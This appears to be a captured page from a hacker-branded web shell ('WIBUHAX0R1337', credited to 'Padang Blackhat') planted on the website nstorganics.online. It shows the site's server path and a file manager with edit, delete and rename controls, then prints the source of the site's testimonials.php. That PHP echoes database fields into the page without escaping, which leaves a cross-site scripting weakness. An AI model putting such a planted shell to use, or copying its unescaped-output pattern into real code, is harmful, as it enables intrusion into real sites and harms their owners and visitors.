-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
nstorganics.online
/
partials
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
.htaccess
0.192KB
Edit File
Delete File
Rename
gallery.php
0.669KB
Edit File
Delete File
Rename
testimonials.php
1.755KB
Edit File
Delete File
Rename
<div class="testimonials w-full overflow-hidden mb-12 lg:my-12 px-4"> <section class="wrapper_carousel flex flex-col justify-center w-full" role="region" aria-label="testimonial carousel"> <div class="carousel-data relative overflow-hidden flex items-center justify-center w-full mt-4 mb-2"> <?php //List products from database $results = "SELECT * FROM tbl_testimony order by rand()"; $res = mysqli_query($conn, $results); $count = mysqli_num_rows($res); if($count>0){ while($row=mysqli_fetch_assoc($res)){ $name=$row["fname"]; $prof_img='images/testi-images/'.$row["prof_image"]; $text=$row["testimony"]; ?> <div class="carousel-item" role="group" aria-label="slide 1 of 5"> <div class="author-profile"> <img src="<?php echo $prof_img ?>" alt="<?php echo $name ?>"> </div> <p class="text_caption italic my-4"> <?php echo $text ?> </p> <span class="caption-author capitalize"> - <?php echo $name ?> </span> </div> <?php } }else{ echo ' <div class="text-center my-6 p-6 text-white font-bold"> <p>No Comments Found</p> </div> '; } ?> </div> <div class="carousel-indicators flex items-center"> </div> <div class="hidden carousel-controls lg:flex justify-end mt-auto" aria-label="carousel controls"> <button type="button" class="button_carousel-prev" aria-label="previous"><i class="fas fa-caret-left"></i></button> <button type="button" class="button_carousel-next ml-1" aria-label="next"><i class="fas fa-caret-right"></i></button> </div> </section> </div>
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat